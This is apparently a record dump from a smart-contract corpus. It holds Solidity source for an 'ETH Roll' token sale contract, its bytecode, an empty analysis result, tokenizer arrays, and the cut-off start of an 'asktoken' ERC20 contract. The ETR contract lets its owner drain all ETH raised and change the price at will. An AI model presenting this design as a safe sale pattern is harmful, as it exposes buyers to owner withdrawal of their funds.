relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(owner, address(0)); owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ETR is ERC20("ETH Roll", "ETR"), Ownable { uint256 public tokensPerEth = 200000 * 1e8; //this is base tokens per entire ETH, since these tokens have 8 decimals vs. 18 for ETH uint256 public startTime; uint256 public totalEthReceived; uint256 public constant referrerPercent = 25; uint256 public constant referreePercent = 10; uint256 public constant hardCap = 19444 ether; uint256 public constant softCap = 100 ether; bool public saleOpen; bool public softCapMet; event Purchased(address user, uint256 amountTokens); event Referred(address referrer, uint256 amountTokens); constructor(){ _mint(owner, (7777777777 * 1e8)); startTime = 1617062400; // Starts 30th march 2021 midnight saleOpen = true; } modifier onlyWhenSaleOpen() { require(block.timestamp > startTime, "Sale not started yet"); _; } function buyTokens(address referralAddress) public payable onlyWhenSaleOpen() { require(saleOpen, "buyTokens: sale closed"); require(referralAddress != msg.sender, "buyTokens: cannot refer self"); if(!softCapMet && totalEthReceived + msg.value >= softCap) { softCapMet = true; } require(totalEthReceived + msg.value <= hardCap, "buyTokens: purchase would exceed hard cap"); totalEthReceived += msg.value; uint256 basePurchase = msg.value * tokensPerEth; uint256 timedMult = calculatePercentMultiplier(); uint256 toSend; if( referralAddress == address(0) ){ toSend = (basePurchase * timedMult / 100) / 1e18; //division by 1e18 is necessary to account for difference in decimals between token and ETH } else { toSend = (basePurchase * (timedMult + referreePercent) / 100) / 1e18; //division by 1e18 is necessary to account for difference in decimals between token and ETH uint256 referralToSend = (basePurchase * referrerPercent / 100) / 1e18; //division by 1e18 is necessary to account for difference in decimals between token and ETH _transfer(owner, referralAddress, referralToSend); emit Referred(referralAddress, referralToSend); } _transfer(owner, msg.sender, toSend); emit Purchased(msg.sender, toSend); } receive() external payable { buyTokens(address(0)); } function airdrop(address[] calldata destinations, uint256[] calldata amounts) external { require(destinations.length == amounts.length, "airdrop: unequal input lengths"); for (uint256 i = 0; i < destinations.length; ++i){ transfer(destinations[i], amounts[i]); } } //multiplier in percent function calculatePercentMultiplier() public view returns(uint256) { if( block.timestamp <= (startTime + 1 weeks) ){ return 300; }else if( block.timestamp <= (startTime + 2 weeks) ){ return 200; }else if( block.timestamp <= (startTime + 3 weeks) ){ return 150; }else if( block.timestamp <= (startTime + 4 weeks) ){ return 125; }else{ return 100; } } function drain(address payable dest) external onlyOwner() { dest.transfer( address(this).balance ); } function openOrCloseSale(bool argument) external onlyOwner() { saleOpen = argument; } function setPrice(uint256 newPrice) external onlyOwner() { require(newPrice != 0, "what are you, an idiot?"); tokensPerEth = newPrice; } }
0x6080604052600436106101c65760003560e01c8063906a26e0116100f7578063cbdd69b511610095578063ece5313211610064578063ece53132146109cd578063f2fde38b14610a1e578063fb86a40414610a6f578063fd3bbba514610a9a576101d7565b8063cbdd69b5146108ac578063dd1da862146108d7578063dd62ed3e14610904578063ec8ac4d814610989576101d7565b806399288dbb116100d157806399288dbb14610772578063a457c2d71461079f578063a9059cbb14610810578063a9a18dda14610881576101d7565b8063906a26e01461067c57806391b7f5ed146106a757806395d89b41146106e2576101d7565b8063672434821161016457806378e979251161013e57806378e97925146105ba5780637efbb1d2146105e55780637f385524146106105780638da5cb5b1461063b576101d7565b8063672434821461046357806370a082311461053e578063715018a6146105a3576101d7565b806323b872dd116101a057806323b872dd14610308578063313ce5671461039957806339509351146103c7578063636d98b114610438576101d7565b806306fdde03146101dc578063095ea7b31461026c57806318160ddd146102dd576101d7565b366101d7576101d56000610ad7565b005b600080fd5b3480156101e857600080fd5b506101f1610ef6565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610231578082015181840152602081019050610216565b50505050905090810190601f16801561025e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561027857600080fd5b506102c56004803603604081101561028f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f98565b60405180821515815260200191505060405180910390f35b3480156102e957600080fd5b506102f2610fb6565b6040518082815260200191505060405180910390f35b34801561031457600080fd5b506103816004803603606081101561032b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fc0565b60405180821515815260200191505060405180910390f35b3480156103a557600080fd5b506103ae611099565b604051808260ff16815260200191505060405180910390f35b3480156103d357600080fd5b50610420600480360360408110156103ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110b0565b60405180821515815260200191505060405180910390f35b34801561044457600080fd5b5061044d611163565b6040518082815260200191505060405180910390f35b34801561046f57600080fd5b5061053c6004803603604081101561048657600080fd5b81019080803590602001906401000000008111156104a357600080fd5b8201836020820111156104b557600080fd5b803590602001918460208302840111640100000000831117156104d757600080fd5b9091929391929390803590602001906401000000008111156104f857600080fd5b82018360208201111561050a57600080fd5b8035906020019184602083028401116401000000008311171561052c57600080fd5b9091929391929390505050611168565b005b34801561054a57600080fd5b5061058d6004803603602081101561056157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611248565b6040518082815260200191505060405180910390f35b3480156105af57600080fd5b506105b8611290565b005b3480156105c657600080fd5b506105cf611414565b6040518082815260200191505060405180910390f35b3480156105f157600080fd5b506105fa61141a565b6040518082815260200191505060405180910390f35b34801561061c57600080fd5b50610625611481565b6040518082815260200191505060405180910390f35b34801561064757600080fd5b50610650611486565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561068857600080fd5b506106916114ac565b6040518082815260200191505060405180910390f35b3480156106b357600080fd5b506106e0600480360360208110156106ca57600080fd5b81019080803590602001909291905050506114b9565b005b3480156106ee57600080fd5b506106f76115fd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561073757808201518184015260208101905061071c565b50505050905090810190601f1680156107645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561077e57600080fd5b5061078761169f565b60405180821515815260200191505060405180910390f35b3480156107ab57600080fd5b506107f8600480360360408110156107c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116b2565b60405180821515815260200191505060405180910390f35b34801561081c57600080fd5b506108696004803603604081101561083357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061177f565b60405180821515815260200191505060405180910390f35b34801561088d57600080fd5b5061089661179d565b6040518082815260200191505060405180910390f35b3480156108b857600080fd5b506108c16117a3565b6040518082815260200191505060405180910390f35b3480156108e357600080fd5b506108ec6117a9565b60405180821515815260200191505060405180910390f35b34801561091057600080fd5b506109736004803603604081101561092757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117bc565b6040518082815260200191505060405180910390f35b6109cb6004803603602081101561099f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad7565b005b3480156109d957600080fd5b50610a1c600480360360208110156109f057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611843565b005b348015610a2a57600080fd5b50610a6d60048036036020811015610a4157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611950565b005b348015610a7b57600080fd5b50610a84611b59565b6040518082815260200191505060405180910390f35b348015610aa657600080fd5b50610ad560048036036020811015610abd57600080fd5b81019080803515159060200190929190505050611b67565b005b6007544211610b4e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f53616c65206e6f7420737461727465642079657400000000000000000000000081525060200191505060405180910390fd5b600960009054906101000a900460ff16610bd0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f627579546f6b656e733a2073616c6520636c6f7365640000000000000000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c72576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f627579546f6b656e733a2063616e6e6f742072656665722073656c660000000081525060200191505060405180910390fd5b600960019054906101000a900460ff16158015610c9c575068056bc75e2d63100000346008540110155b15610cbd576001600960016101000a81548160ff0219169083151502179055505b69041e0fb4c545d750000034600854011115610d24576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806122e06029913960400191505060405180910390fd5b346008600082825401925050819055506000600654340290506000610d4761141a565b905060008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610da457670de0b6b3a7640000606483850281610d9457fe5b0481610d9c57fe5b049050610e6e565b670de0b6b3a76400006064600a8401850281610dbc57fe5b0481610dc457fe5b0490506000670de0b6b3a764000060646019860281610ddf57fe5b0481610de757fe5b049050610e17600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168683611ccf565b7f18d55327aabc94c83b9efd0b736e4becf8fa6e0526ac58e30aa045389358248e8582604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505b610e9b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff163383611ccf565b7fa512fb2532ca8587f236380171326ebb69670e86a2ba0c4412a3fcca4c3ada9b3382604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150505050565b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f8e5780601f10610f6357610100808354040283529160200191610f8e565b820191906000526020600020905b815481529060010190602001808311610f7157829003601f168201915b5050505050905090565b6000610fac610fa5611f90565b8484611f98565b6001905092915050565b6000600254905090565b6000610fcd848484611ccf565b61108e84610fd9611f90565b6110898560405180606001604052806028815260200161230960289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061103f611f90565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218f9092919063ffffffff16565b611f98565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60006111596110bd611f90565b8461115485600160006110ce611f90565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4790919063ffffffff16565b611f98565b6001905092915050565b601981565b8181905084849050146111e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f61697264726f703a20756e657175616c20696e707574206c656e67746873000081525060200191505060405180910390fd5b60005b848490508110156112415761123585858381811061120057fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1684848481811061122957fe5b9050602002013561177f565b508060010190506111e6565b5050505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611353576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b600062093a806007540142116114345761012c905061147e565b6212750060075401421161144b5760c8905061147e565b621baf80600754014211611462576096905061147e565b6224ea0060075401421161147957607d905061147e565b606490505b90565b600a81565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b68056bc75e2d6310000081565b3373ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461157c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008114156115f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f776861742061726520796f752c20616e206964696f743f00000000000000000081525060200191505060405180910390fd5b8060068190555050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116955780601f1061166a57610100808354040283529160200191611695565b820191906000526020600020905b81548152906001019060200180831161167857829003601f168201915b5050505050905090565b600960009054906101000a900460ff1681565b60006117756116bf611f90565b846117708560405180606001604052806025815260200161237a60259139600160006116e9611f90565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218f9092919063ffffffff16565b611f98565b6001905092915050565b600061179361178c611f90565b8484611ccf565b6001905092915050565b60085481565b60065481565b600960019054906101000a900460ff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561194c573d6000803e3d6000fd5b5050565b3373ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806122726026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b69041e0fb4c545d750000081565b3373ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c2a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600960006101000a81548160ff02191690831515021790555050565b600080828401905083811015611cc5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806123316025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ddb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061224f6023913960400191505060405180910390fd5b611de6838383612249565b611e51816040518060600160405280602681526020016122ba602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218f9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ee4816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561201e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806123566024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806122986022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600083831115829061223c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122015780820151818401526020810190506121e6565b50505050905090810190601f16801561222e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082840390509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365627579546f6b656e733a20707572636861736520776f756c642065786365656420686172642063617045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122062eaf43fe741eceb726c10abe54f5a542b849eb88912b6b9b394b7284780b73964736f6c63430007060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2063, 2692, 29097, 2094, 2581, 2497, 24087, 4215, 17134, 16409, 2063, 23352, 29292, 2575, 7011, 2620, 2497, 2575, 2094, 2620, 2683, 14526, 11329, 4402, 2581, 2487, 2546, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 6021, 1011, 2322, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5890, 1011, 2861, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,483
0x96e06fdab8c1a11ce49e0f28e70bf94d8992ad9a
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'asktoken' token contract // // Deployed to : 0xbb9afFb4Ff5e139997b3a006Be73F29f1A1F3C7A // Symbol : ask // Name : asktoken // Total supply: 100000000 // Decimals : 18 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract asktoken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function asktoken() public { symbol = "ask"; name = "asktoken"; decimals = 18; _totalSupply = 100000000000000000000000000; balances[0xbb9afFb4Ff5e139997b3a006Be73F29f1A1F3C7A] = _totalSupply; Transfer(address(0), 0xbb9afFb4Ff5e139997b3a006Be73F29f1A1F3C7A, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens 